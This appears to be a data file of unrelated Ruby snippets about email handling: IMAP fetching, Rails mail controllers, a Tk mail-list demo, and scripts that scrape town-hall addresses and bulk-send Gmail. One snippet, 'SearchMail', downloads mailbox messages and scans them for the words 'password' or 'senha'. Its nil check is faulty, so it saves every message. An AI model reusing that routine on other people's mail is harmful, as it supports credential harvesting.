Net::IMAP.new(server,port,usessl)\n\timap.login(mailid,password)\n\timap.select(folder)\n\tsince = included.blank? ? \"1-Jan-2000\" : included.yesterday.to_date.strftime(\"%e-%b-%Y\")\n\timap.uid_search([\"SINCE\",since]).each do |msg_id|\n\t\tnext unless mailmessages.find_by_uid(msg_id).nil?\n\t\tbody = imap.uid_fetch(msg_id,['RFC822']).first.attr['RFC822']\n\n\t\tMailfolderMailhandler::receive(body,self,msg_id)\n\t\timap.store(msg_id, \"+FLAG\", [:Deleted]) if delete_message?\n\tend\n\timap.expunge if delete_message?\n\timap.logout\n end", "def image_list\n @folder = PulStore::Lae::Folder.find(params[:id])\n @page_title = \"Folder #{@folder.physical_number}\"\n @pages_list = get_pages_by_folder @folder.id\n respond_to do |format|\n format.html\n end\n end", "def town_mail\n\turl_array = get_townhall_urls \n\t url_array.each do |townhall_url| #/ pour chaque URL d'une ville du Val d'Oise, on associe l'adresse mail de la mairie\n\tget_townhall_email(townhall_url)\n\tend\nend", "def mailboxes\n if @mailboxes.nil?\n list_mailboxes\n end\n @mailboxes\n end", "def mailboxes\n if @mailboxes.nil?\n list_mailboxes\n end\n @mailboxes\n end", "def imap_select_inbox\n imap.select('INBOX')\n end", "def deliver_mh data\n mh_box = @options[:mh_box] || \"#{ENV[\"HOME\"]}/Mail\"\n spam_folder = @options[:mh_folder_spam] || \"/Junk\"\n folder = data['spam'] ? spam_folder : \"/inbox\" + (data['folder'] || \"\")\n \n dest_dir = [mh_box, folder].join(\"/\")\n \n unless File.exist?(dest_dir)\n FileUtils.mkpath(dest_dir)\n end\n \n max = Dir.children(dest_dir).max_by {|i| i.to_i }&.to_i || 0\n mail_id = max + 1\n \n File.open([dest_dir, mail_id].join(\"/\"), \"w\") do |f|\n f.write data[\"mail\"]\n end\n end", "def show\n @entry_mail_type = EntryMailType.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @entry_mail_type }\n end\n end", "def render_multipart(method_name, body)\n if Setting.plain_text_mail?\n content_type \"text/plain\"\n body render(:file => \"#{method_name}.text.plain.rhtml\", :body => body, :layout => 'mailer.text.erb')\n else\n content_type \"multipart/alternative\"\n part :content_type => \"text/plain\", :body => render(:file => \"#{method_name}.text.plain.rhtml\", :body => body, :layout => 'mailer.text.erb')\n part :content_type => \"text/html\", :body => render_message(\"#{method_name}.text.html.rhtml\", body)\n end\n end", "def mailbox\n\t\t\tMarshal.load(get_mailbox)\n\t\t\t#msgs = []\n\t\t\t#get_mailbox.each { |l| msgs << l.chomp }\n\t\t\t#msgs\n\t\tend", "def index\n ###FIRST THING: MOVE THIS TO MODEL SO IT RETURNS WHAT YOU WANT FOR @message. Set @message that way!\n case params[:type]\n when 'hits'\n @messages = current_user.received_messages.active.where(\"messageable_type = 'Unlisting'\").paginate(page: params[:page]) #NOT replies\n when 'received'\n @messages = current_user.received_messages.active.where.not(\"messageable_type = 'Message'\").paginate(page: params[:page]) #NOT replies\n when 'sent'\n @messages = current_user.sent_messages.active.where.not(\"messageable_type = 'Message'\").paginate(page: params[:page]) #NOT replies\n else\n @messages = current_user.all_msgs_sent_received.paginate(page: params[:page])\n end\n\n respond_to do |format|\n format.any(:html, :js) { render 'index' }\n end\n end", "def extract_mail_body(mail)\n if mail.multipart?\n # Try to find an HTML part.\n part = find_mail_part(mail, ['text/html', 'text/plain'])\n if part.nil?\n '<em>Nachricht kann leider nicht angezeigt werden.</em>'\n else\n mail_html = sanitize_mail part\n if part.content_type == 'text/plain'\n \"<div class='text-mail'>#{mail_html}</div>\"\n else\n mail_html\n end\n \n end\n else\n sanitize_mail mail\n end\n end", "def send_one_email_to(name, mail)\n email = @gmail.compose do\n to mail\n subject \"Apprentissage entre pairs + gratuité + code = The Hacking Project\"\n html_part do\n content_type 'text/html; charset=UTF-8'\n body get_the_email_html(name) #TODO faire pour toutes les villes du tableau -> suppose de lire les colonnes du tableau dans une boucle (ajouter un délai)\n end\n end\nemail.deliver!\nend", "def find_folders(options={}, &block)\n options[:mailbox] ||= ''\n options[:count] ||= :all\n\n options = validate_options(options)\n mailbox = options[:mailbox] || ''\n mailbox = Net::IMAP.encode_utf7(mailbox)\n mailbox = mailbox.empty? ? '*' : \"#{mailbox}/*\"\n include = options[:include] ||= '*'\n exclude = options[:exclude] ||= nil\n include_flags = options[:include_flags] ||= nil\n exclude_flags = options[:exclude_flags] ||= [:Noselect, :All, :Drafts, :Important, :Junk, :Flagged, :Trash]\n\n start do |imap|\n info \"find_folders block\"\n info \"imap.lsub/list #{mailbox}\"\n boxes = options[:subscribed] ? imap.lsub('', mailbox) : imap.list('', mailbox)\n boxes.replace(options[:what].to_sym == :last ? boxes.last(options[:count]) : boxes.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n yield Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n else\n folders = []\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n folders << Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n folders.size == 1 && options[:count] == 1 ? folders.first : folders\n end\n end\n end", "def create\n @q = Q.find(params[:q_id])\n \n #temp_content = a(params[:qmail_content])\n @qmail = @q.qmails.create(:content =>params[:qmail_content],:user_id => current_user.id)\n @quest = @q.quest\n current_user.qmails << @qmail\n @qmail.add_questid(@quest.id)#must for telling pg_search about the quest if of qmail\n @qmail.add_qid(@q.id)#must for telling pg_search about the q if of qmail\n #links vm code here\n # doc = Nokogiri::HTML(markdown.render(@qmail.content))\n # doc.xpath('//a[@href]').each do |l|\n # @link = @quest.links.create(:body => l['href'])\n # end\n respond_to do |format|\n \n format.html { redirect_to q_path(@q)}\n format.js \n end\n # new_qmail_notify(@qmail)\n end", "def find_mailboxes\n mailboxes = @imap.list(@root, \"*\")\n\n if mailboxes.nil? then\n log \"Found no mailboxes under #{@root.inspect}, you may have an incorrect root\"\n return []\n end\n\n mailboxes.reject! { |mailbox| mailbox.attr.include? :Noselect }\n mailboxes.map! { |mailbox| mailbox.name }\n\n @box_re = /^#{Regexp.escape @root}#{Regexp.union(*@boxes)}/\n\n mailboxes.reject! { |mailbox| mailbox !~ @box_re }\n mailboxes = mailboxes.sort_by { |m| m.downcase }\n log \"Found #{mailboxes.length} mailboxes to search:\"\n mailboxes.each { |mailbox| log \"\\t#{mailbox}\" } if @verbose\n return mailboxes\n end", "def index\n if @box.eql? \"inbox\"\n @conversations = @mailbox.inbox\n elsif @box.eql? \"sent\"\n @conversations = @mailbox.sentbox\n else\n @conversations = @mailbox.trash\n end\n \n @conversations = @conversations.paginate(page: params[:page], per_page: 10)\n end", "def show\n @mail_typ = MailTyp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mail_typ }\n end\n end", "def attachment_list(model)\n s = '<div class=\"attachments\">'\n s << '<h2>Files</h2>'\n s << '<table>'\n model.attachments.each do |attachment|\n s << \"\n<tr>\n <td><a href=\\\"#{attr_h attachment.public_path}\\\">#{h attachment.name}</a></td>\n <td class=\\\"date\\\">#{File.mtime(attachment.local_path).strftime('%A, %d %B %Y, %H:%M')}</td>\n</tr>\"\n end\n s << \"</table>\\n</div>\"\n end", "def show\n @messaging = @message.messagings.where(recipient_id: current_user.id).first\n if !@messaging.blank?\n @messaging.status = 1\n @messaging.save\n end\n @children = Messaging.where('message_id in (?) AND recipient_id = ?', @message.children.pluck(:id), current_user.id)\n for child in @children\n child.status = 1\n child.save\n end\n if !params[:page].blank?\n @page = params[:page]\n else\n @page = 1\n end\n if !params[:type].blank?\n @type = params[:type]\n else\n @type = 'inbox'\n end\n end", "def message_subject\n active_div.div(:id=>\"inbox_show_message\").div(:class=>\"inbox_subject\").link.text\n end", "def add_collaborators_with_profile1(mail_id)\n\n puts(\"**************************\")\n puts(\"**************************\")\n puts(\"add_collaborators_with_profile1\")\n puts(mail_id)\n puts(\"**************************\")\n puts(\"**************************\")\n\n @member_emails = users = mail_id.split( /, */ ).each{|x| x.strip! }\n @tmp_mem_list = ''\n @m = []\n arr=[]\n f= \"false\"\n for user in users.uniq\n user_details = find_user_details(user.strip)\n u_email , u_id , u_name = user_details.email , user_details.id , user_details.name\n if u_email != current_user.email\n # @tmp_mem_list = @tmp_mem_list + \"<div class=\\\"add_users_collaboratercol\\\" id=\\\"#{user.to_s}\\\"><div class=\\\"add_users_imgcol\\\"><img width=\\\"30\\\" height=\\\"36\\\" src=\\\"#{display_image_for_user_add_collab(u_id)}\\\"/></div><div class=\\\"collaboraterow\\\"><a title=\\\"Unshare this file\\\" href=\\\"#\\\" onclick=\\\"if (confirm(\\\\'Are you sure you want to remove this user ?\\\\')){delete_collaborator_users(\\\\'#{u_email}\\\\',\\\\'#{u_id}\\\\');} return false\\\"><img border=0 width=7 height=7 src=\\\"/images/del_icon.png\\\" title=\\\"#{remove_collaborator_tooltip}\\\" /></a><div class=\\\"collaboratername\\\">#{(!u_name.nil? and !u_name.blank?) ? \"#{lengthy_word_simplification(u_name,7,5)}\" : user.split('@')[0]} </div><div class=\\\"collaborateremail\\\">#{user}</div> </div></div>\"\n f = \"true\"\n end\n end\n # render :action => 'add_collaborators_with_profile.rjs'\n\n end", "def get_folders_order\n Log.add_info(request, params.inspect)\n\n @folder_id = params[:id]\n SqlHelper.validate_token([@folder_id])\n\n if @folder_id == TreeElement::ROOT_ID.to_s\n @folders = MailFolder.get_account_roots_for(@login_user)\n else\n mail_folder = MailFolder.find(@folder_id)\n if mail_folder.user_id == @login_user.id\n @folders = MailFolder.get_childs(@folder_id, false, true)\n end\n end\n\n render(:partial => 'ajax_folders_order', :layout => false)\n end", "def get_mailboxes()\n begin\n mblist = @imap_client.list('', '*')\n rescue => error\n p \"ERROR getting mailboxes: #{error}\"\n return [] \n end\n\n return order_mailboxes(mblist)\n end", "def show\n if params[:email_thread]\n @email_thread = EmailThread.find(params[:email_thread])\n elsif session[:id]\n @summary = Summary.find(session[:id])\n @email_thread = @summary.email_thread\n else\n flash[:notice] = \"You are logged out.\"\n redirect_to(:controller => '/account', :action => 'login')\n return\n end\n @emails = []\n email_count = 0\n for email in @email_thread.myemails\n email_count+=1\n s = email.Body\n #Keep track of tag beginning and ending\n open = false\n count = 1\n while s.include? \"^\"\n if !open\n case params[:control]\n when 'read' , 'sum' , 'show'\n s[s.index(\"^\"),1] = sent(email_count, count)\n when 'label'\n s[s.index(\"^\"),1] = label(email_count, count)\n end\n open = true\n count += 1\n else\n s[s.index(\"^\"),1] = '</div></div>'\n open = false\n end\n end\n s.gsub! \"/-\\\\\", \"^\"\n @emails << email\n end\n #Render correct action\n case params[:control]\n when 'read'\n render :action => 'read'\n when 'sum'\n render :action => 'sum'\n when 'label'\n render :action => 'label'\n when 'show'\n render :action => 'show'\n end\n end", "def build_text_mail(files, titles)\n data = \"\"\n files.each_with_index do |file, i|\n data += \"\\n\\n#{titles[i]}\\n\\n\"\n data += File.read(File.join(File.dirname(__FILE__), file))\n end\n # Add google file link with test coverage at the end of email\n data +=\"\\n\\n<a href='https://google.com'>Test Coverage</a>\\n\\n\"\n # attached screenshots\n pictures = Dir.glob(Rails.root.join('public', 'images', 'screenshots', '*.png'))\n #pictures = Dir.glob(Rails.root.join(\"/var/www/office/public/images/capybara/*.png\"))\n count = 0\n pictures.each do |p|\n count += 1\n data += \"<img src='#{ 'https://google.com' + p.split('/').last }'>\"\n break if count == 10\n end\n data\nend", "def scrape_email_texts\n switch_to_chronological_view\n expand_all_emails\n all('div#tm-tl div.GJHURADDJB').map(&:text)\n end", "def demoOutlookNewsgroup2(t)\n init_pics('outlook-*')\n\n height = t.font.metrics(:linespace)\n height = 18 if height < 18\n t.configure(:itemheight=>height, :selectmode=>:browse, :showlines=>false,\n :showroot=>false, :showrootbutton=>false, :showbuttons=>true)\n\n if $Version_1_1_OrLater\n t.column_create(:image=>@images['outlook-clip'], :tag=>'clip')\n t.column_create(:image=>@images['outlook-arrow'], :tag=>'arrow')\n t.column_create(:image=>@images['outlook-watch'], :tag=>'watch')\n t.column_create(:text=>'Subject', :width=>250, :tag=>'subject')\n t.column_create(:text=>'From', :width=>150, :tag=>'from')\n t.column_create(:text=>'Sent', :width=>150, :tag=>'sent')\n t.column_create(:text=>'Size', :width=>60, :justify=>:right, :tag=>'size')\n else # TreeCtrl 1.0\n t.column_configure(0, :image=>@images['outlook-clip'], :tag=>'clip')\n t.column_configure(1, :image=>@images['outlook-arrow'], :tag=>'arrow')\n t.column_configure(2, :image=>@images['outlook-watch'], :tag=>'watch')\n t.column_configure(3, :text=>'Subject', :width=>250, :tag=>'subject')\n t.column_configure(4, :text=>'From', :width=>150, :tag=>'from')\n t.column_configure(5, :text=>'Sent', :width=>150, :tag=>'sent')\n t.column_configure(6, :text=>'Size', :width=>60, :justify=>:right,\n :tag=>'size')\n end\n\n t.treecolumn = 3\n\n t.element_create('image.unread', :image, :image=>@images['outlook-unread'])\n t.element_create('image.read', :image, :image=>@images['outlook-read'])\n t.element_create('image.read2', :image, :image=>@images['outlook-read-2'])\n t.element_create('text.read', :text, :lines=>1,\n :fill=>[@SystemHighlightText, ['selected', 'focus']])\n t.element_create('text.unread', :text, :lines=>1,\n :fill=>[@SystemHighlightText, ['selected', 'focus']],\n :font=>t.font.dup.weight(:bold))\n t.element_create('sel.e', :rect, :open=>:e, :showfocus=>true,\n :fill=>[\n @SystemHighlight, ['selected', 'focus'],\n 'gray', ['selected', '!focus']\n ])\n t.element_create('sel.w', :rect, :open=>:w, :showfocus=>true,\n :fill=>[\n @SystemHighlight, ['selected', 'focus'],\n 'gray', ['selected', '!focus']\n ])\n t.element_create('sel.we', :rect, :open=>:we, :showfocus=>true,\n :fill=>[\n @SystemHighlight, ['selected', 'focus'],\n 'gray', ['selected', '!focus']\n ])\n\n # Image + text\n s = t.style_create('unread')\n t.style_elements(s, ['sel.e', 'image.unread', 'text.unread'])\n t.style_layout(s, 'image.unread', :expand=>:ns)\n t.style_layout(s, 'text.unread', :padx=>[2,6], :squeeze=>:x, :expand=>:ns)\n t.style_layout(s, 'sel.e', :union=>['text.unread'],\n :iexpand=>:nes, :ipadx=>[2,0])\n\n # Image + text\n s = t.style_create('read')\n t.style_elements(s, ['sel.e', 'image.read', 'text.read'])\n t.style_layout(s, 'image.read', :expand=>:ns)\n t.style_layout(s, 'text.read', :padx=>[2,6], :squeeze=>:x, :expand=>:ns)\n t.style_layout(s, 'sel.e', :union=>['text.read'],\n :iexpand=>:nes, :ipadx=>[2,0])\n\n # Image + text\n s = t.style_create('read2')\n t.style_elements(s, ['sel.e', 'image.read2', 'text.unread'])\n t.style_layout(s, 'image.read2', :expand=>:ns)\n t.style_layout(s, 'text.unread', :padx=>[2,6], :squeeze=>:x, :expand=>:ns)\n t.style_layout(s, 'sel.e', :union=>['text.unread'],\n :iexpand=>:nes, :ipadx=>[2,0])\n\n # Text\n s = t.style_create('unread.we')\n t.style_elements(s, ['sel.we', 'text.unread'])\n t.style_layout(s, 'text.unread', :padx=>6, :squeeze=>:x, :expand=>:ns)\n t.style_layout(s, 'sel.we', :detach=>true, :iexpand=>:es)\n\n # Text\n s = t.style_create('read.we')\n t.style_elements(s, ['sel.we', 'text.read'])\n t.style_layout(s, 'text.read', :padx=>6, :squeeze=>:x, :expand=>:ns)\n t.style_layout(s, 'sel.we', :detach=>true, :iexpand=>:es)\n\n # Text\n s = t.style_create('unread.w')\n t.style_elements(s, ['sel.w', 'text.unread'])\n t.style_layout(s, 'text.unread', :padx=>6, :squeeze=>:x, :expand=>:ns)\n t.style_layout(s, 'sel.w', :detach=>true, :iexpand=>:es)\n\n # Text\n s = t.style_create('read.w')\n t.style_elements(s, ['sel.w', 'text.read'])\n t.style_layout(s, 'text.read', :padx=>6, :squeeze=>:x, :expand=>:ns)\n t.style_layout(s, 'sel.w', :detach=>true, :iexpand=>:es)\n\n msgCnt = 100\n thread = 0\n\n @Message = Hash.new{|k, v| k[v] = Hash.new}\n @Message[:count][0] = 0\n\n (1...(msgCnt)).each{|i|\n t.item_create\n j = nil\n loop {\n j = rand(i)\n break if j == 0\n next if t.depth(j) == 5\n next if @Message[:count][@Message[:thread][j]] == 15\n break\n }\n t.item_lastchild(j, i)\n\n @Message[:read][i] = (rand(2) == 0)\n if j == 0\n thread += 1\n @Message[:thread][i] = thread\n @Message[:seconds][i] = (Tk::Clock.seconds - rand(500000))\n @Message[:seconds2][i] = @Message[:seconds][i]\n @Message[:count][thread] = 1\n else\n @Message[:thread][i] = @Message[:thread][j]\n @Message[:seconds][i] = (@Message[:seconds2][j] + rand(10000))\n @Message[:seconds2][i] = @Message[:seconds][i]\n @Message[:seconds2][j] = @Message[:seconds][i]\n @Message[:count][@Message[:thread][j]] += 1\n end\n }\n\n (1...(msgCnt)).each{|i|\n subject = \"This is thread number #{@Message[:thread][i]}\"\n from = 'somebody@somewhere.net'\n sent = Tk::Clock.format(@Message[:seconds][i], \"%d/%m/%y %I:%M %p\")\n size = \"#{1 + rand(10)}KB\"\n if @Message[:read][i]\n style = 'read'\n style2 = 'read2'\n else\n style = 'unread'\n style2 = 'unread2'\n end\n t.item_style_set(i, 3, style, 4, \"#{style2}.we\", 5, \"#{style2}.we\",\n 6, \"#{style2}.w\")\n t.item_text(i, 3, subject, 4, from, 5, sent, 6, size)\n if t.item_numchildren(i) > 0\n t.item_configure(item_i, :button=>true)\n end\n }\n\n # Do something when the selection changes\n t.notify_bind(t, 'Selection',\n proc{|w|\n if w.selection_count == 1\n i = t.selection_get[0]\n unless @Message[:read][i]\n if t.item_isopen(i) || !anyUnreadDescendants(t, i)\n # unread -> read\n t.item_style_map(i, 'subject', 'read',\n ['text.unread', 'text.read'])\n t.item_style_map(i, 'from', 'read.we',\n ['text.unread', 'text.read'])\n t.item_style_map(i, 'sent', 'read.we',\n ['text.unread', 'text.read'])\n t.item_style_map(i, 'size', 'read.w',\n ['text.unread', 'text.read'])\n else\n # unread -> read2\n t.item_style_map(i, 'subject', 'read2',\n ['text.unread', 'text.unread'])\n end\n\n @Message[:read][i] = true\n @display_styles_in_item.call(i)\n end\n end\n }, '%T')\n\n t.notify_bind(t, 'Expand-after',\n proc{|w, i|\n if @Message[:read][i] && anyUnreadDescendants(t, i)\n # read2 -> read\n t.item_style_map(i, 'subject', 'read',\n ['text.unread', 'text.read'])\n # unread -> read\n t.item_style_map(i, 'from', 'read.we',\n ['text.unread', 'text.read'])\n t.item_style_map(i, 'sent', 'read.we',\n ['text.unread', 'text.read'])\n t.item_style_map(i, 'size', 'read.w',\n ['text.unread', 'text.read'])\n end\n }, '%T %I')\n\n t.notify_bind(t, 'Collapse-after',\n proc{|w, i|\n if @Message[:read][i] && anyUnreadDescendants(t, i)\n # read -> read2\n t.item_style_map(i, 'subject', 'read2',\n ['text.read', 'text.unread'])\n # read -> unread\n t.item_style_map(i, 'from', 'unread.we',\n ['text.read', 'text.unread'])\n t.item_style_map(i, 'sent', 'unread.we',\n ['text.read', 'text.unread'])\n t.item_style_map(i, 'size', 'unread.w',\n ['text.read', 'text.unread'])\n end\n }, '%T %I')\n\n (1...(msgCnt)).each{|i|\n if rand(2) == 0\n if t.item_numchildren(i) > 0\n if $Version_1_1_OrLater\n t.item_collapse(i)\n else # TreeCtrl 1.0\n t.collapse(i)\n end\n end\n end\n }\nend", "def mailing\n @mail = Prefabmail.find(params[:mail][:message])\n @rent = Rent.find_by_id(params[:id])\n if params[:mail][:to] == \"v\"\n @email = @rent.kunstvoorwerp.user.email\n else\n @email = @rent.user.email\n end\n\n @mail.content = replace_prefab_mail_vars(@mail, @rent)\n end", "def get_messages_link_and_content()\n dputs __method__.to_s\n urls = {:public => []}\n # public messages\n message_req = setup_http_request($messages, @cookie)\n res = @http.request(message_req)\n urls[:public] = messages_parsing(res.body.force_encoding('utf-8'))\n msgs = {:public => []}\n until urls.empty?\n k, uu = urls.shift\n next if uu == nil\n uu.map{|u|\n get_conversations(u, k.to_s).map do |m|\n next if not m\n msgs[k] << m\n end\n }\n end\n # ex: {:public => [{:msg=>[\"[Aujourd'hui à 09h48] Miguel L : \\\"BONJOUR GREG vous arrive jusque a la gare pardieu\\\"\", \"...\"], :url=>\"/messages/respond/kAxP4rA...\", :token => \"XazeAFsdf...\"}], :private => [{:msg => ...}]\n return msgs\n end", "def show\n # path = params[:id].split('+').join(' ').split('-').join('/')\n path = params[:id].gsub(';','/').gsub(',',' ').gsub('=', '.')\n\n if File.directory? path\n @ficheros = Fichero.find(path)\n #@ficheros.map! { |x| x.id.split('/').join('-').split(' ').join('+') }\n #@ficheros.map! { |x| x.id.gsub('/',';').gsub(' ',',').gsub('.', '=') }\n \n \n \n full = \"\"\n @ficheros.each do |fichero|\n dir = File.directory?(fichero.path) ? \"1\" : \"0\"\n full += \"#{fichero.path}=>#{dir}sN3r0l\"\n end\n \n \n \n \n render :text => full\n \n # \n # respond_to do |format|\n # format.html # show.html.erb\n # format.xml { render :xml => @ficheros }\n # \n # end\n \n else\n send_file path\n end\n end", "def list\r\n # Get the folder\r\n @folder = Folder.find_by_id(folder_id)\r\n\r\n # Set if the user is allowed to update or delete in this folder;\r\n # these instance variables are used in the view.\r\n @can_update = @logged_in_user.can_update(@folder.id)\r\n @can_delete = @logged_in_user.can_delete(@folder.id)\r\n\r\n # determine the order in which files are shown\r\n file_order = 'filename '\r\n file_order = params[:order_by].sub('name', 'filename') + ' ' if params[:order_by]\r\n file_order += params[:order] if params[:order]\r\n\r\n # determine the order in which folders are shown\r\n folder_order = 'name '\r\n if params[:order_by] and params[:order_by] != 'filesize' \r\n folder_order = params[:order_by] + ' '\r\n folder_order += params[:order] if params[:order]\r\n end\r\n\r\n # List of subfolders\r\n @folders = @folder.list_subfolders(@logged_in_user, folder_order.rstrip)\r\n\r\n # List of files in the folder\r\n @myfiles = @folder.list_files(@logged_in_user, file_order.rstrip)\r\n\r\n #get the correct URL\r\n url = url_for(:controller => 'folder', :action => 'list', :id => nil)\r\n\r\n # it's nice to have the possibility to go up one level\r\n @folder_up = '<a href=\"' + url + '/' + @folder.parent.id.to_s + '\">..</a>' if @folder.parent\r\n end", "def mails(element_key, options = {})\n parameter = { query: options }\n parameter[:basic_auth] = @auth\n\n response = self.class.get(\"/elements/#{element_key}/mails\", parameter)\n return response['ElementList'] if response.success?\n end", "def reply\n @reply = Message.new\n @reply.author = User.current\n @reply.board = @board\n @reply.safe_attributes = params[:reply]\n @topic.children << @reply\n if !@reply.new_record?\n call_hook(:controller_messages_reply_after_save, { :params => params, :message => @reply})\n attachments = Attachment.attach_files(@reply, params[:attachments])\n render_attachment_warning_if_needed(@reply)\n end\n redirect_to board_message_path(@board, @topic, :r => @reply)\n \n current_language \n html_title \n Redmine::Info.app_name \n csrf_meta_tag \n favicon \n stylesheet_link_tag 'jquery/jquery-ui-1.11.0', 'application', 'responsive', :media => 'all' \n stylesheet_link_tag 'rtl', :media => 'all' if l(:direction) == 'rtl' \n javascript_heads \n heads_for_theme \n call_hook :view_layouts_base_html_head \n yield :header_tags \n body_css_classes \n call_hook :view_layouts_base_body_top \n if User.current.logged? || !Setting.login_required? \n form_tag({:controller => 'search', :action => 'index', :id => @project}, :method => :get ) do \n hidden_field_tag(controller.default_search_scope, 1, :id => nil) if controller.default_search_scope \n label_tag 'flyout-search', '&#9906;'.html_safe, :class => 'search-magnifier search-magnifier--flyout' \n text_field_tag 'q', @question, :id => 'flyout-search', :class => 'small js-search-input', :placeholder => l(:label_search) \n end \n end \n if User.current.logged? \n if !Setting.gravatar_enabled? \n end \n if Setting.gravatar_enabled? \n link_to(avatar(User.current, :size => \"80\"), user_path(User.current)) \n end \n link_to_user(User.current, :format => :username) \n end \n if display_main_menu?(@project) \n l(:label_project) \n end \n l(:label_general) \n l(:label_profile) \n render_menu :account_menu \n content_tag('div', \"#{l(:label_logged_as)} #{link_to_user(User.current, :format => :username)}\".html_safe, :id => 'loggedas') if User.current.logged? \n render_menu :top_menu if User.current.logged? || !Setting.login_required? \n if User.current.logged? || !Setting.login_required? \n form_tag({:controller => 'search', :action => 'index', :id => @project}, :method => :get ) do \n hidden_field_tag(controller.default_search_scope, 1, :id => nil) if controller.default_search_scope \n link_to l(:label_search), {:controller => 'search', :action => 'index', :id => @project}, :accesskey => accesskey(:search) \n text_field_tag 'q', @question, :size => 20, :class => 'small', :accesskey => accesskey(:quick_search) \n end \n render_project_jump_box \n end \n page_header_title \n if display_main_menu?(@project) \n render_main_menu(@project) \n end \n sidebar_content? ? '' : 'nosidebar' \n yield :sidebar \n view_layouts_base_sidebar_hook_response \n render_flash_messages \n yield \n call_hook :view_layouts_base_content \n l(:label_loading) \n link_to Redmine::Info.app_name, Redmine::Info.url \n call_hook :view_layouts_base_body_bottom \n\nend", "def SearchMail(auth,rex=nil)\n if (auth)\n\t if (rex.nil?)\n re = %r{([pP]assword)|([sS]enhas?)}\n\t else\n\t re = Regexp.new(rex.to_s)\n\t end\n puts \" ==== #{auth.mails.length} messages === \"\n auth.mails.each_with_index do |msg,index|\n File.open(\"/tmp/inbox/#{index}\", 'w') do |output|\n puts \" === downloading... #{index} === \"\n puts \" === scan result: #{msg.pop.scan(re).nil?} === \"\n output.write msg.pop unless (msg.pop.scan(re).nil?)\n end\n end\n end\n auth.finish\n end", "def folders\n html = http_request(@uri + '/wato.py', {\n folder: '',\n mode: 'folder',\n }, false)\n html.split(/\\n/).each do |line|\n next unless line =~ /class=\"folderpath\"/\n end\n res = []\n html.split(/\\n/).grep(/mode=editfolder/).each do |line|\n line =~ /folder=(.*?)'/\n res.push $1 unless $1.nil?\n end\n res\n end", "def getMail\n# gets maximum id avoiding nil case\n id = Message.maximum(:id)\n if id.nil?\n id = 0\n else\n id += 1\n end\n allMail = Mail.all #Grab all unread mail\n if !allMail.empty? #Check to see if no new mail\n allMail.each do |mail|\n#This is a method to check to see if author is from grinnell domain\n# if mail.from[0].downcase.include? (\"@grinnell.edu\")\n# if mail.subject.downcase.include? (\"csstudent\")\n message = Message.new\n message.id = id\n #Grab subject that doesn't include csstudent and other tags\n message.subject = addTag(message, mail.subject)\n message.tag_list.sort!\n message.author = mail.from[0]\n message.content = getContent(mail)\n message.created_at = mail.date.to_s\n # Makes it so both have the same time format\n message.updated_at = Time.now.strftime(\"%Y-%m-%d %H:%M\")\n message.save\n id += 1\n# end\n end\n end\n end", "def send_gmail_to_listing(worksheet_key)\n\n\n# first we connect to gmail with the $gmail variable (where our logs are stored)\n\t$gmail\n\t\n#we go through each email adresse \n\t\t\t\t# send we send (deliver) an email with subject + body\n\n\tgo_through_all_the_lines(worksheet_key).each do |email|\n\t\t$gmail.deliver do\n to email\n subject \"The Hacking Project\" # write your subject here\n \ttext_part do \n \t\tbody \"je suis élève à une formation de code gratuite, ouverte à tous, sans restriction géographique, ni restriction de niveau. La formation s'appelle The Hacking Project (http://thehackingproject.org/). Nous apprenons l'informatique via la méthode du peer-learning : nous faisons des projets concrets qui nous sont assignés tous les jours, sur lesquel nous planchons en petites équipes autonomes. Le projet du jour est d'envoyer des emails à nos élus locaux pour qu'ils nous aident à faire de The Hacking Project un nouveau format d'éducation gratuite.\n\nNous vous contactons pour vous parler du projet, et vous dire que vous pouvez ouvrir une cellule à {townhall_name}, où vous pouvez former gratuitement 6 personnes (ou plus), qu'elles soient débutantes, ou confirmées. Le modèle d'éducation de The Hacking Project n'a pas de limite en terme de nombre de moussaillons (c'est comme cela que l'on appelle les élèves), donc nous serions ravis de travailler avec {townhall_name} !\n\nCharles, co-fondateur de The Hacking Project pourra répondre à toutes vos questions : 06.95.46.60.80 \" #write your message here\n\t\t\tcontent_type 'text/plain; charset=UTF-8'\n \tend\n end\n\n\n end\n\nend", "def sendemailtoattendees\n \t@users = User.where(:role_id => Role.find_by_title(:attendee))\n \t@sub = params[:emailbody]\n\n @array = []\n\n @users.each do |u|\n @getname = @sub.sub(\"@@Name@@\", \"#{u.first_name} #{u.last_name}\" )\n @array << @getname\n UserMailer.delay.attendee_mail(u, @getname)\n end\n #render :text => @array.to_json\n respond_to do |format|\n \tformat.js\n end\n\n\n end", "def rezm_link_to_inbox\n link_to \"Inbox\", inbox_messages_path\n end", "def inbox\r\n @messages = current_user.inbox_messages\r\n session[:mail_box] = \"inbox\"\r\n render :action => \"messages\"\r\n end", "def ajax_move_mails\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n folder_id = params[:tree_node_id]\n SqlHelper.validate_token([folder_id])\n begin\n mail_folder = MailFolder.find(folder_id)\n rescue => evar\n end\n\n if folder_id == TreeElement::ROOT_ID.to_s 